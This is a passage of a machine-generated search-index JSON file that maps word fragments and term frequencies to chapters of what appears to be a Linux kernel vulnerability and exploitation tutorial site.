f":0.0005600672080649678}}}}}}}}}}}}}}}}},"e":{"docs":{},"l":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"g":{"docs":{},"u":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0014001680201624195}}}}},"r":{"docs":{},"s":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0014001680201624195}},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"s":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"x":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"o":{"docs":{},"u":{"docs":{},"n":{"docs":{},"d":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"a":{"docs":{},"t":{"docs":{},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{},",":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}}}}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"t":{"docs":{},"h":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"r":{"docs":{},"c":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"k":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}},"(":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}},"m":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"l":{"docs":{},"l":{"docs":{},"o":{"docs":{},"w":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.006276747503566334}}}}}}},"r":{"docs":{},"e":{"docs":{},"e":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.008676789587852495},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.004057971014492754},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0025677603423680455},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0016802016241949033}},".":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}},"d":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},",":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"?":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425}}}},"b":{"docs":{},"i":{"docs":{},"n":{"docs":{},"d":{"docs":{},"e":{"docs":{},"r":{"docs":{},"t":{"docs":{},"h":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},"(":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}}}}}}}}}}}}},"i":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}},"o":{"docs":{},"m":{"docs":{},",":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0034782608695652175},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"a":{"docs":{},"i":{"docs":{},"l":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}},"_":{"docs":{},"n":{"docs":{},"t":{"docs":{},"h":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"e":{"docs":{},"d":{"docs":{},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0016802016241949033}}}}},"s":{"docs":{},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"u":{"docs":{},"l":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.002982530890498509},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"s":{"docs":{},"_":{"docs":{},"c":{"docs":{},"p":{"docs":{},"u":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"_":{"docs":{},"b":{"docs":{},"u":{"docs":{},"f":{"docs":{},"f":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"e":{"docs":{},"r":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}},"m":{"docs":{},"e":{"docs":{},"m":{"docs":{},"o":{"docs":{},"r":{"docs":{},"i":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"y":{"docs":{},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"_":{"docs":{},"b":{"docs":{},"u":{"docs":{},"f":{"docs":{},"f":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"e":{"docs":{},"r":{"docs":{},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"_":{"docs":{},"f":{"docs":{},"l":{"docs":{},"a":{"docs":{},"g":{"docs":{},"_":{"docs":{},"a":{"docs":{},"l":{"docs":{},"l":{"docs":{},"o":{"docs":{},"w":{"docs":{},"_":{"docs":{},"r":{"docs":{},"e":{"docs":{},"t":{"docs":{},"r":{"docs":{},"i":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}},"k":{"docs":{},"i":{"docs":{},"l":{"docs":{},"l":{"docs":{},"a":{"docs":{},"b":{"docs":{},"l":{"docs":{},"e":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}}}}}},"c":{"docs":{},"e":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"s":{"docs":{},"t":{"docs":{},"_":{"docs":{},"p":{"docs":{},"o":{"docs":{},"i":{"docs":{},"n":{"docs":{},"t":{"docs":{},"e":{"docs":{},"r":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}},"s":{"docs":{},"e":{"docs":{},"g":{"docs":{},"s":{"docs":{},")":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}}}}}}}}}},"e":{"docs":{},"a":{"docs":{},"t":{"docs":{},"u":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0014001680201624195}},"e":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"b":{"docs":{},"r":{"docs":{},"u":{"docs":{},"a":{"docs":{},"r":{"docs":{},"i":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}}}}}},"w":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"l":{"docs":{},"a":{"docs":{},"g":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"s":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}},"l":{"docs":{},"i":{"docs":{},"n":{"docs":{},"k":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"i":{"docs":{},"g":{"docs":{},"h":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"o":{"docs":{},"w":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}},"s":{"docs":{},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"g":{"docs":{},"i":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"t":{"docs":{},"a":{"docs":{},"c":{"docs":{},"k":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"u":{"docs":{},"i":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"/":{"docs":{},"e":{"docs":{},"v":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"p":{"docs":{},"o":{"docs":{},"l":{"docs":{},"l":{"docs":{},".":{"docs":{},"c":{"docs":{},":":{"1":{"4":{"7":{"6":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"docs":{}},"2":{"0":{"1":{"4":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"1":{"2":{"8":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"docs":{}},"6":{"1":{"2":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"3":{"0":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"8":{"4":{"7":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"7":{"9":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"8":{"8":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"9":{"4":{"2":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"docs":{}}}}}}}}}}}}},"f":{"docs":{},"i":{"docs":{},"l":{"docs":{},"e":{"docs":{},"_":{"docs":{},"t":{"docs":{},"a":{"docs":{},"b":{"docs":{},"l":{"docs":{},"e":{"docs":{},".":{"docs":{},"c":{"docs":{},":":{"2":{"1":{"0":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"4":{"4":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"docs":{}}}}}}}}}}}}}},"i":{"docs":{},"o":{"docs":{},"c":{"docs":{},"t":{"docs":{},"l":{"docs":{},".":{"docs":{},"c":{"docs":{},":":{"4":{"6":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"6":{"9":{"2":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"7":{"0":{"1":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"docs":{}}}}}}}}},"n":{"docs":{},"o":{"docs":{},"t":{"docs":{},"i":{"docs":{},"f":{"docs":{},"y":{"docs":{},"/":{"docs":{},"f":{"docs":{},"s":{"docs":{},"n":{"docs":{},"o":{"docs":{},"t":{"docs":{},"i":{"docs":{},"f":{"docs":{},"y":{"docs":{},".":{"docs":{},"c":{"docs":{},":":{"9":{"9":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}}}}}}}}}}}}}}}}}}}},"n":{"docs":{},"o":{"docs":{},"t":{"docs":{},"i":{"docs":{},"f":{"docs":{},"y":{"docs":{},"_":{"docs":{},"u":{"docs":{},"n":{"docs":{},"m":{"docs":{},"o":{"docs":{},"u":{"docs":{},"n":{"docs":{},"t":{"docs":{},"_":{"docs":{},"i":{"docs":{},"n":{"docs":{},"o":{"docs":{},"d":{"docs":{},"e":{"docs":{},"s":{"docs":{},"+":{"0":{"docs":{},"x":{"1":{"docs":{},"e":{"8":{"docs":{},"/":{"0":{"docs":{},"x":{"1":{"docs":{},"e":{"8":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}}},"docs":{}}},"docs":{}}},"docs":{}}},"docs":{}}},"docs":{}}}}}}}}}}}}}}}}}}}}}}},"=":{"docs":{},"k":{"docs":{},"e":{"docs":{},"r":{"docs":{},"n":{"docs":{},"e":{"docs":{},"l":{"docs":{},"_":{"docs":{},"d":{"docs":{},"s":{"docs":{},"\"":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}},"t":{"docs":{},"r":{"docs":{},"a":{"docs":{},"c":{"docs":{},"e":{"docs":{},"_":{"docs":{},"r":{"docs":{},"e":{"docs":{},"t":{"docs":{},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"c":{"docs":{},"k":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}},"t":{"docs":{},"i":{"docs":{},"m":{"docs":{},"e":{"docs":{},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"m":{"docs":{},"p":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}},"u":{"docs":{},"n":{"docs":{},"c":{"docs":{},"t":{"docs":{},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.002982530890498509},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.011412268188302425},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.002800336040324839}},"'":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0017118402282453639},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0016802016241949033}}},"s":{"docs":{},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}},"r":{"docs":{},"t":{"docs":{},"h":{"docs":{},"e":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"t":{"docs":{},"e":{"docs":{},"x":{"docs":{},"_":{"docs":{},"p":{"docs":{},"i":{"docs":{},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}},"l":{"docs":{},"l":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"_":{"docs":{},"c":{"docs":{},"h":{"docs":{},"e":{"docs":{},"c":{"docs":{},"k":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}},"b":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.06840579710144927}}},"c":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.02434782608695652}}},"d":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0019971469329529245},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0014001680201624195}},",":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.002282453637660485},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}}},")":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}},"_":{"docs":{},"i":{"docs":{},"n":{"docs":{},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"l":{"docs":{},"l":{"docs":{},"(":{"docs":{},"f":{"docs":{},"d":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}},"g":{"docs":{},"e":{"docs":{},"t":{"docs":{},"(":{"docs":{},"e":{"docs":{},"p":{"docs":{},"f":{"docs":{},"d":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"f":{"docs":{},"d":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"_":{"docs":{},"p":{"docs":{},"o":{"docs":{},"s":{"docs":{},"(":{"docs":{},"f":{"docs":{},"d":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}},"f":{"docs":{},"f":{"docs":{},"f":{"8":{"8":{"8":{"0":{"4":{"docs":{},"e":{"4":{"8":{"6":{"4":{"8":{"0":{"docs":{},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}},"docs":{}},"docs":{}},"5":{"0":{"0":{"docs":{},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}},"docs":{}},"2":{"8":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"docs":{}},"docs":{},"c":{"8":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"docs":{}}},"6":{"0":{"0":{"docs":{},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}},"docs":{}},"8":{"0":{"docs":{},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}},"docs":{}},"docs":{}},"7":{"2":{"8":{"docs":{},")":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}},"docs":{}},"docs":{}},"docs":{}},"7":{"2":{"docs":{},"a":{"8":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}},"5":{"docs":{},"a":{"docs":{},"c":{"0":{"1":{"6":{"5":{"0":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"docs":{}},"docs":{}},"docs":{}},"docs":{},"c":{"docs":{},"f":{"4":{"0":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"docs":{}},"docs":{}}}},"docs":{}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{},"e":{"docs":{},"a":{"0":{"0":{"0":{"1":{"5":{"docs":{},"f":{"docs":{},"b":{"2":{"2":{"0":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"docs":{}},"docs":{}},"docs":{}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}},"f":{"docs":{},"f":{"docs":{},"f":{"docs":{},"f":{"8":{"0":{"6":{"docs":{},"d":{"3":{"docs":{},"a":{"9":{"docs":{},"c":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"b":{"4":{"4":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"docs":{}},"docs":{}}},"4":{"docs":{},"d":{"6":{"2":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"docs":{}},"docs":{}}},"5":{"5":{"docs":{},"b":{"9":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"docs":{}},"c":{"4":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"docs":{}}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}},"docs":{},"f":{"docs":{},"f":{"docs":{},"f":{"docs":{},"f":{"docs":{},"f":{"docs":{},"f":{"docs":{},"d":{"docs":{},"a":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}}}}}}}}}}}}}},"d":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},".":{"docs":{},"f":{"docs":{},"i":{"docs":{},"l":{"docs":{},"e":{"docs":{"chapters/root-cause-analysis.html